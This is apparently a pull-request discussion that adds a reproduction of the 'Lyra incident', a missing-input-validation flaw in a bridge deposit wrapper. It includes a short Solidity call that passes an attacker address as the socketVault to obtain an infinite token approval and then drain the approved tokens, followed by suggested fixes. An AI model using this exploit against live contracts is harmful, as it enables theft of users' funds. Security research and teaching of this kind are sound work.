feat: Lyra incident

[pinalikefruit]

Simple, reproducible attack for missing data validation, to bring in recent content related to the categories of Data Validation and Bridges

[nine-december]

this check would not protect against the attack.

LYRA_DEPOSIT_WRAPPER.depositToLyra{value: 0}(
    address(USDC),
    ATTACKER, // socketVault: The address to grant approval to.
    false,
    1,        // amount: something greater than the min deposit (would get it back afterwards).
    1,
    address(WETH)
);

and then directly from the ATTACKER, pull the approved tokens.

The issue is fixed by:

• validating inputs
• removing that infinite approval using specific-amounts (or, if needed, resetting the approval back to zero at the very end of the call).
• The worst thing here is the arbitrary targets and parameters allowed by the lack of checks.